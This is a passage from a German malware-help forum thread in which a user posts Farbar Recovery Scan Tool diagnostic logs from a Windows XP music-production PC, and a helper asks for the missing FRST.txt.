Sicherheitsupdate für Windows XP (KB973904) (HKLM\...\KB973904) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB974318) (HKLM\...\KB974318) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB975467) (HKLM\...\KB975467) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB975713) (Version: 1 - Microsoft Corporation) Hidden

Sicherheitsupdate für Windows XP (KB978338) (HKLM\...\KB978338) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB979309) (HKLM\...\KB979309) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB981997) (HKLM\...\KB981997) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB982132) (HKLM\...\KB982132) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB982665) (HKLM\...\KB982665) (Version: 1 - Microsoft Corporation)

SkinsHP1 (Version: 5.35.0.043 - Hewlett-Packard) Hidden

SkinsHP2 (Version: 5.35.0.043 - Hewlett-Packard) Hidden

Smaart 7 (HKLM\...\5E8913DE-2A67-4521-9616-BB9D0FE164B9) (Version: 7.3.0 - Rational Acoustics, LLC)

SonicStage 4.3 (HKLM\...\{A0EB195B-5876-48E6-879D-33D4B2102610}) (Version: 4.3 - Sony Corporation)

Sonnox Restoration Tools for Wavelab VST v1.0.0 (32-bit) (HKLM\...\Sonnox Restoration Tools for Wavelab VST v1.0.0 (32-bit)_is1) (Version: 1.0.0 - Sonnox Ltd, Oxford, UK)

SoundMAX (HKLM\...\{F0A37341-D692-11D4-A984-009027EC0A9C}) (Version: 5.10.01.4151 - Analog Devices)

Spybot - Search & Destroy (HKLM\...\{B4092C6D-E886-4CB2-BA68-FE5A88D31DE6}_is1) (Version: 1.5.2 - Safer Networking Limited)

Stage Research SFX (HKLM\...\{D0FBD3F4-FEE9-40FB-A2FC-20141F647D42}) (Version: 5.6.23 - Stage Research)

Steinberg Upload Manager (HKLM\...\{88BBBD8F-4C19-4809-B84B-7A8F8238B48D}) (Version: 1.0.0 - Steinberg Media Technologies GmbH)

Suite Specific (Version: 2.0.0 - Adobe Systems, Incorporated) Hidden

Surfing Protection (HKLM\...\IObit Surfing Protection_is1) (Version: 1.2 - IObit)

swMSM (Version: 12.0.0.1 - Adobe Systems, Inc) Hidden

Telenor Software Update Service (Version: 1.0.3.147 - Telenor Corporation) Hidden

Telenorhjelpen (HKLM\...\{83C805EC-99B6-47C5-B542-E53EB5594C22}) (Version: 3.3.1.45 - Telenor)

TextPad 4.7 (HKLM\...\{B510A987-487E-4C66-9F4F-D386AC275715}) (Version: 4.7.2 - Ihr Firmenname)

TrayApp (Version: 5.35.0.035 - Hewlett-Packard) Hidden

Unload (Version: 3.5.0 - Hewlett-Packard) Hidden

Update für Windows XP (KB951978) (Version: 1 - Microsoft Corporation) Hidden

Update für Windows XP (KB955759) (HKLM\...\KB955759) (Version: 1 - Microsoft Corporation)

Update für Windows XP (KB968389) (HKLM\...\KB968389) (Version: 1 - Microsoft Corporation)

VC80CRTRedist - 8.0.50727.6195 (Version: 1.2.0 - DivX, Inc) Hidden

Vimeo Uploader (HKLM\...\vimeo.Duplo.3E2F2984357E7A95AE95C69EF2C5C14640284048.1) (Version: 0.944 - UNKNOWN)

Vimeo Uploader (Version: 0.255 - UNKNOWN) Hidden

Visual C++ Redistributables (HKLM\...\InstallShield_{C2AF7B2D-7018-414B-9B8B-D3C9F3BED04F}) (Version: 1.00.0000 - PACE Anti-Piracy, Inc.)

WaveLab 6 (HKLM\...\WaveLabPro) (Version: 6.1.1.353 - Steinberg)

WavePad Uninstall (HKLM\...\WavePad) (Version:  - )

Waves (Version: 5.9.7.2 - Waves) Hidden

Waves Complete V8r13 (HKLM\...\{80000001-C561-4E32-99EB-3C5AD3683A70}) (Version: 8.0.13 - Waves)

WebFldrs XP (Version: 9.50.7523 - Microsoft Corporation) Hidden

WebReg (Version: 5.31.0.147 - Hewlett-Packard) Hidden

Winamp (remove only) (HKLM\...\Winamp) (Version:  - )

Windows 7 Upgrade Advisor (HKLM\...\{9A4D182C-35C7-4791-8484-4304EBC9101A}) (Version: 2.0.5000.0 - Microsoft Corporation)

Windows Genuine Advantage Notifications (KB905474) (HKLM\...\WgaNotify) (Version: 1.9.0040.0 - Microsoft Corporation)

Windows Internet Explorer 8 (HKLM\...\ie8) (Version: 20090308.140743 - Microsoft Corporation)

Windows Media Format Runtime (HKLM\...\Windows Media Format Runtime) (Version:  - )

Windows PowerShell(TM) 1.0 (HKLM\...\KB926139-v2) (Version: 2 - Microsoft Corporation)

Windows XP Service Pack 3 (HKLM\...\Windows XP Service Pack) (Version: 20080414.031514 - Microsoft Corporation)

Windows-Treiberpaket - OLYMPUS IMAGING CORP. Camera Communication Driver Package (09/09/2009 1.0.0.0) (HKLM\...\E77704EF5E71F4F18CADFBFA68595AFE036D5D97) (Version: 09/09/2009 1.0.0.0 - OLYMPUS IMAGING CORP.)

WinRAR (HKLM\...\WinRAR archiver) (Version:  - )

WinZip (HKLM\...\WinZip) (Version:  8.1 SR-2  (5791g) - WinZip Computing, Inc.)
 

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

CustomCLSID: HKU\S-1-5-21-796845957-1960408961-682003330-1003_Classes\CLSID\{0FB8DE1A-E991-40E5-83CA-5172084B2073}\InprocServer32 -> C:\Programme\HP\Digital Imaging\bin\hpISdownsampler.dll (Hewlett-Packard Co.)

CustomCLSID: HKU\S-1-5-21-796845957-1960408961-682003330-1003_Classes\CLSID\{DA7A2849-2E3F-4F87-A1C4-43843592BAED}\InprocServer32 -> C:\Programme\HP\Digital Imaging\bin\hpodcpxe.dll (Hewlett-Packard Company)
 

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
 

Task: C:\WINDOWS\Tasks\Adobe Flash Player Updater.job => C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Programme\Google\Update\GoogleUpdate.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Programme\Google\Update\GoogleUpdate.exe
 

==================== Verknüpfungen =============================
 

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)
 

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Waves\Remove Authorization Caches.lnk -> C:\Programme\Waves\Utilities\clear_auth_cache.bat ()

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Waves\Unregister Unauthorized V5 Plug-ins.lnk -> C:\Programme\Waves\Plug-Ins\unregisterunauth.bat (Keine Datei)

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Macromedia\Uninstall Macromedia FlashPaper 2.lnk -> C:\WINDOWS\Installer\{4B9535BF-CC90-4158-AF32-CAF57A8820CA}\NewShortcut2_1.D404042C_B1B4_413E_B1C0_526D0BBE80E3.bat (Macromedia)
 

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============
 

2014-09-07 19:43 - 2015-01-09 19:46 - 00517408 _____ () C:\Programme\IObit\IObit Malware Fighter\sqlite3.dll

2004-01-05 11:44 - 2004-01-05 11:44 - 00565248 _____ () C:\WINDOWS\system32\hpotscl.dll
 

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)
 

AlternateDataStreams: C:\Programme\Gemeinsame Dateien\MSN:biSG7jlOe4kiWcFsw4kKVL1B4 [1748]

AlternateDataStreams: C:\Programme\Gemeinsame Dateien\MSN:JayWGbyLJ62t4ZxTekMUJWuAv [1940]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:66OGEr4wwL0YXXNz2ot7PZNq [2408]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:7Rh0gvPXnkL8jDl5CvmhExThja [1938]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:pz5aDZabB0h1bSG9Iqs28d3kX [2406]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:Q36zbZrgA8HBAP7URdqHr [2066]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:qU1xRduu5Gmj8cDfVeQpYqum [2392]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Reprise:yhuwxvwhfkxkcqmbzxjuiqjduvsftifh [0]
 

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)
 

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\IMFservice => ""="Service"

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Wdf01000.sys => ""="Driver"

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Wdf01000.sys => ""="Driver"
 

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)
 
 

==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)
 

IE restricted site: HKU\.DEFAULT\...\007guard.com -> install.007guard.com

IE restricted site: HKU\.DEFAULT\...\008i.com -> 008i.com

IE restricted site: HKU\.DEFAULT\...\008k.com -> www.008k.com

IE restricted site: HKU\.DEFAULT\...\00hq.com -> www.00hq.com

IE restricted site: HKU\.DEFAULT\...\010402.com -> 010402.com

IE restricted site: HKU\.DEFAULT\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com

IE restricted site: HKU\.DEFAULT\...\0scan.com -> www.0scan.com

IE restricted site: HKU\.DEFAULT\...\1-2005-search.com -> www.1-2005-search.com

IE restricted site: HKU\.DEFAULT\...\1-domains-registrations.com -> www.1-domains-registrations.com

IE restricted site: HKU\.DEFAULT\...\1000gratisproben.com -> www.1000gratisproben.com

IE restricted site: HKU\.DEFAULT\...\1001namen.com -> www.1001namen.com

IE restricted site: HKU\.DEFAULT\...\100888290cs.com -> mir.100888290cs.com

IE restricted site: HKU\.DEFAULT\...\100sexlinks.com -> www.100sexlinks.com

IE restricted site: HKU\.DEFAULT\...\10sek.com -> www.10sek.com

IE restricted site: HKU\.DEFAULT\...\12-26.net -> user1.12-26.net

IE restricted site: HKU\.DEFAULT\...\12-27.net -> user1.12-27.net

IE restricted site: HKU\.DEFAULT\...\123haustiereundmehr.com -> www.123haustiereundmehr.com

IE restricted site: HKU\.DEFAULT\...\123simsen.com -> www.123simsen.com

IE restricted site: HKU\.DEFAULT\...\123topsearch.com -> www.123topsearch.com

IE restricted site: HKU\.DEFAULT\...\125sms.co.uk -> www.125sms.co.uk
 

Da befinden sich 5207 mehr Seiten.
 

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\007guard.com -> install.007guard.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\008i.com -> 008i.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\008k.com -> www.008k.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\00hq.com -> www.00hq.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\010402.com -> 010402.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\0scan.com -> www.0scan.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1-2005-search.com -> www.1-2005-search.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1-domains-registrations.com -> www.1-domains-registrations.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1000gratisproben.com -> www.1000gratisproben.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1001namen.com -> www.1001namen.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\100888290cs.com -> mir.100888290cs.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\100sexlinks.com -> www.100sexlinks.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\10sek.com -> www.10sek.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\12-26.net -> user1.12-26.net

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\12-27.net -> user1.12-27.net

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123haustiereundmehr.com -> www.123haustiereundmehr.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123simsen.com -> www.123simsen.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123topsearch.com -> www.123topsearch.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\125sms.co.uk -> www.125sms.co.uk
 

Da befinden sich 5176 mehr Seiten.
 
 

==================== Hosts Inhalt: ===============================
 

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)
 

2002-12-31 14:00 - 2016-08-16 17:36 - 00000027 ____A C:\WINDOWS\system32\Drivers\etc\hosts
 

127.0.0.1       localhost
 

==================== Andere Bereiche ============================
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Control Panel\Desktop\\Wallpaper -> 

DNS Servers: 10.0.0.138

Windows Firewall ist aktiviert.
 

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

MSCONFIG\startupfolder: C:^Dokumente und Einstellungen^All Users^Startmenü^Programme^Autostart^TP-LINK Wireless Configuration Utility.lnk => C:\WINDOWS\pss\TP-LINK Wireless Configuration Utility.lnkCommon Startup

MSCONFIG\startupfolder: C:^Dokumente und Einstellungen^Julie^Startmenü^Programme^Autostart^z.vbb => C:\WINDOWS\pss\z.vbbStartup

MSCONFIG\startupreg: Adobe Version Cue CS2 => c:\Programme\Adobe\Adobe Version Cue CS2\ControlPanel\VersionCueCS2Tray.exe

MSCONFIG\startupreg: APSDaemon => "C:\Programme\Gemeinsame Dateien\Apple\Apple Application Support\APSDaemon.exe"

MSCONFIG\startupreg: DivXMediaServer => C:\Programme\DivX\DivX Media Server\DivXMediaServer.exe

MSCONFIG\startupreg: DivXUpdate => "C:\Programme\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW

MSCONFIG\startupreg: NBJ => "C:\Programme\Ahead\Nero BackItUp\NBJ.exe"

MSCONFIG\startupreg: SunJavaUpdateSched => "C:\Programme\Gemeinsame Dateien\Java\Java Update\jusched.exe"

MSCONFIG\startupreg: Telenorhjelpen => "C:\Programme\Telenor Norway\Telenorhjelpen\Telenorhjelpen.exe" -autorun

MSCONFIG\startupreg: TnFtpServer => C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\WinXP tuning\TnFtpSrv\TnFtpSrv.exe
 

==================== FirewallRules (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

StandardProfile\AuthorizedApplications: [C:\Program Files\Real\RealPlayer\realplay.exe] => Enabled:RealPlayer

StandardProfile\AuthorizedApplications: [C:\WINDOWS\system32\mshta.exe] => Enabled:Microsoft (R) HTML Application host

StandardProfile\AuthorizedApplications: [C:\Programme\Opera\opera.exe] => Enabled:Opera Internet Browser

StandardProfile\AuthorizedApplications: [C:\Programme\Gemeinsame Dateien\Apple\Apple Application Support\WebKit2WebProcess.exe] => Enabled:WebKit

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Mailboxen.exe] => Enabled:A1 Webassistent Mailboxen

StandardProfile\AuthorizedApplications: [C:\Programme\Adobe\Adobe Version Cue CS2\bin\VersionCueCS2.exe] => Enabled:Adobe Version Cue CS2

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Breitband.exe] => Enabled:A1 Internet Installation

StandardProfile\AuthorizedApplications: [C:\Programme\Google\Chrome\Application\chrome.exe] => Enabled:Google Chrome

StandardProfile\AuthorizedApplications: [C:\Programme\Telenor Norway\Telenorhjelpen\Telenorhjelpen.exe] => Enabled:Telenorhjelpen

StandardProfile\AuthorizedApplications: [C:\WINDOWS\system32\java.exe] => Enabled:Java(TM) Platform SE binary

StandardProfile\AuthorizedApplications: [C:\Programme\Java\jre7\bin\javaw.exe] => Enabled:Java(TM) Platform SE binary

StandardProfile\AuthorizedApplications: [C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\WinXP tuning\TnFtpSrv\TnFtpSrv.exe] => Disabled:Telnet-Ftp Service Server

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Servicecenter\A1Servicecenter.exe] => Enabled:A1 Servicecenter

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Modemkonfigurator.exe] => Enabled:A1 Webassistent

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1WLANAssistent.exe] => Enabled:A1 Webassistent

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Breitband\A1Breitband.exe] => Enabled:A1 Internet Installation

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Webassistent.exe] => Enabled:A1 Webassistent

DomainProfile\GloballyOpenPorts: [3306:TCP] => Enabled:MySQL56

StandardProfile\GloballyOpenPorts: [1900:UDP] => :LocalSubNet:Disabled:@xpsp2res.dll,-22007

StandardProfile\GloballyOpenPorts: [2869:TCP] => :LocalSubNet:Disabled:@xpsp2res.dll,-22008

StandardProfile\GloballyOpenPorts: [3306:TCP] => Enabled:MySQL56
 

==================== Wiederherstellungspunkte =========================
 

19-05-2016 12:25:48 Systemprüfpunkt

19-05-2016 21:35:21 Removed TP-LINK Wireless Configuration Utility and Driver

19-05-2016 21:36:41 Removed TP-LINK Wireless Configuration Utility

21-05-2016 15:44:30 Systemprüfpunkt

22-05-2016 16:23:03 Systemprüfpunkt

23-05-2016 17:08:22 Systemprüfpunkt

25-05-2016 15:52:15 Systemprüfpunkt

26-05-2016 20:40:12 Systemprüfpunkt

28-05-2016 22:13:57 Systemprüfpunkt

31-05-2016 11:44:41 Systemprüfpunkt

01-06-2016 16:04:51 Systemprüfpunkt

03-06-2016 09:30:50 Systemprüfpunkt

04-06-2016 16:19:55 Systemprüfpunkt

05-06-2016 19:12:58 Systemprüfpunkt

07-06-2016 13:33:50 Systemprüfpunkt

13-06-2016 11:39:04 Systemprüfpunkt

14-06-2016 17:32:17 Systemprüfpunkt

16-06-2016 08:33:42 Systemprüfpunkt

17-06-2016 16:16:22 Systemprüfpunkt

19-06-2016 15:20:54 Systemprüfpunkt

22-06-2016 12:37:03 Systemprüfpunkt

23-06-2016 13:32:38 Systemprüfpunkt

24-06-2016 13:57:27 Systemprüfpunkt

29-06-2016 16:55:22 Systemprüfpunkt

30-06-2016 21:16:00 Systemprüfpunkt

02-07-2016 15:23:29 Systemprüfpunkt

03-07-2016 17:48:56 Systemprüfpunkt

04-07-2016 17:50:32 Systemprüfpunkt

05-07-2016 21:17:12 Systemprüfpunkt

06-07-2016 23:16:00 Systemprüfpunkt

15-07-2016 10:01:12 Systemprüfpunkt

16-07-2016 15:58:34 Systemprüfpunkt

17-07-2016 16:59:44 Systemprüfpunkt

18-07-2016 17:55:07 Systemprüfpunkt

20-07-2016 21:52:44 Systemprüfpunkt

21-07-2016 23:47:02 Systemprüfpunkt

24-07-2016 13:14:28 Systemprüfpunkt

25-07-2016 14:29:03 Systemprüfpunkt

27-07-2016 02:02:07 Systemprüfpunkt

28-07-2016 09:06:25 Systemprüfpunkt

29-07-2016 12:32:25 Systemprüfpunkt

30-07-2016 13:04:45 Systemprüfpunkt

31-07-2016 13:29:13 Systemprüfpunkt

02-08-2016 11:08:41 Systemprüfpunkt

03-08-2016 15:09:44 Systemprüfpunkt

03-08-2016 23:12:44 Wiederherstellungsvorgang

03-08-2016 23:15:27 Wiederherstellungsvorgang

04-08-2016 00:54:11 JRT Pre-Junkware Removal

16-08-2016 13:23:24 Systemprüfpunkt
 

==================== Fehlerhafte Geräte im Gerätemanager =============
 

Name: 1394-Netzwerkadapter

Description: 1394-Netzwerkadapter

Class Guid: {4D36E972-E325-11CE-BFC1-08002BE10318}

Manufacturer: Microsoft

Service: NIC1394

Problem: : This device is disabled. (Code 22)

Resolution: In Device Manager, click "Action", and then click "Enable Device". This starts the Enable Device wizard. Follow the instructions.
 
 

==================== Fehlereinträge in der Ereignisanzeige: =========================
 

Applikationsfehler:

==================

Error: (08/16/2016 12:20:18 PM) (Source: PerfNet) (EventID: 2004) (User: )

Description: Der Serverdienst konnte nicht geöffnet werden. Die Server-Leistungsinformationen

werden nicht zurückgegeben. Der zurückgegebene Fehlercode befindet sich in DWORD 0.
 
 

Systemfehler:

=============

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 
 

==================== Memory info =========================== 
 

Processor: Intel(R) Core(TM)2 CPU 6400 @ 2.13GHz

Prozentuale Nutzung des RAM: 45%

Installierter physikalischer RAM: 1023.17 MB

Verfügbarer physikalischer RAM: 561.44 MB

Summe virtueller Speicher: 2461.63 MB

Verfügbarer virtueller Speicher: 2100.79 MB
 

==================== Laufwerke ================================
 

Drive c: (Boot) (Fixed) (Total:68.36 GB) (Free:20.74 GB) NTFS ==>[Laufwerk mit Startkomponenten (Windows XP)]

Drive e: (Big one) (Fixed) (Total:164.51 GB) (Free:36.2 GB) NTFS
 

==================== MBR & Partitionstabelle ==================
 

========================================================

Disk: 1 (Size: 232.9 GB) (Disk ID: 378E378E)

Partition 1: (Active) - (Size=68.4 GB) - (Type=07 NTFS)

Partition 2: (Not Active) - (Size=164.5 GB) - (Type=OF Extended)
 

==================== Ende vom Addition.txt ============================

Fragerin

17.08.2016 12:32

Du hast zweimal die Addition.txt gepostet. Bitte die FRST.txt nachreichen!

jazzerin

17.08.2016 16:47

achweh, zu schampig CTRL-A gedrückt wahrscheinlich, Verzeihung!

Code:

Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x86) Version: 03-08-2016

durchgeführt von Julie (Administrator) auf HOME (17-08-2016 11:53:29)

Gestartet von C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads

Geladene Profile: Julie (Verfügbare Profile: Julie & Administrator)

Platform: Microsoft Windows XP Professional Service Pack 3 (X86) Sprache: Deutsch (Deutschland)

Internet Explorer Version 8 (Standard-Browser: IE)

Start-Modus: Normal

Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
 

==================== Prozesse (Nicht auf der Ausnahmeliste) =================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
 

(Microsoft Corporation) C:\WINDOWS\system32\savedump.exe

(IObit) C:\Programme\IObit\IObit Malware Fighter\IMFsrv.exe

(Oracle Corporation) C:\Programme\Java\jre7\bin\jqs.exe

(Hewlett-Packard Company) C:\Programme\Gemeinsame Dateien\LightScribe\LSSrvc.exe

(PACE Anti-Piracy, Inc.) C:\Programme\Gemeinsame Dateien\PACE\Services\LicenseServices\LDSvc.exe

(SafeNet, Inc) C:\Programme\Gemeinsame Dateien\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe

(Microsoft Corporation) C:\WINDOWS\system32\wuauclt.exe

(Analog Devices, Inc.) C:\Programme\Analog Devices\Core\smax4pnp.exe

(Microsoft Corporation) C:\WINDOWS\system32\wscntfy.exe

(mquadr.at software engineering and consulting GmbH, web: www.mquadr.at, mail: office@mquadr.at) C:\Programme\A1\A1 Webassistent\A1Webassistent.exe

(Analog Devices, Inc.) C:\Programme\Analog Devices\SoundMAX\SMax4.exe

(Safer-Networking Ltd.) C:\Programme\Spybot - Search & Destroy\TeaTimer.exe

(Oracle Corporation) C:\Programme\MySQL\MySQL Notifier 1.1\MySQLNotifier.exe

(Logitech Inc.) C:\Programme\Logitech\MouseWare\system\EM_EXEC.EXE

(Microsoft Corporation) C:\WINDOWS\system32\wbem\unsecapp.exe

(Microsoft Corporation) C:\WINDOWS\system32\msiexec.exe
 
 

==================== Registry (Nicht auf der Ausnahmeliste) ===========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
 

HKLM\...\Run: [High Definition Audio Property Page Shortcut] => C:\WINDOWS\system32\HDAShCut.exe [61952 2004-10-27] (Windows (R) Server 2003 DDK provider)

HKLM\...\Run: [SoundMAXPnP] => C:\Programme\Analog Devices\Core\smax4pnp.exe [925696 2005-05-20] (Analog Devices, Inc.)

HKLM\...\Run: [Deskup] => C:\Programme\Iomega\DriveIcons\deskup.exe [32768 2002-07-16] (Iomega)

HKLM\...\Run: [Logitech Utility] => C:\WINDOWS\Logi_MwX.Exe [19968 2003-06-30] (Logitech Inc.)

HKLM\...\Run: [FirefaceTray] => C:\WINDOWS\system32\fireface.exe [352768 2016-03-08] (RME)

HKLM\...\Run: [FirefaceMixTray] => C:\WINDOWS\system32\firefacemix.exe [1054720 2016-03-08] (RME)

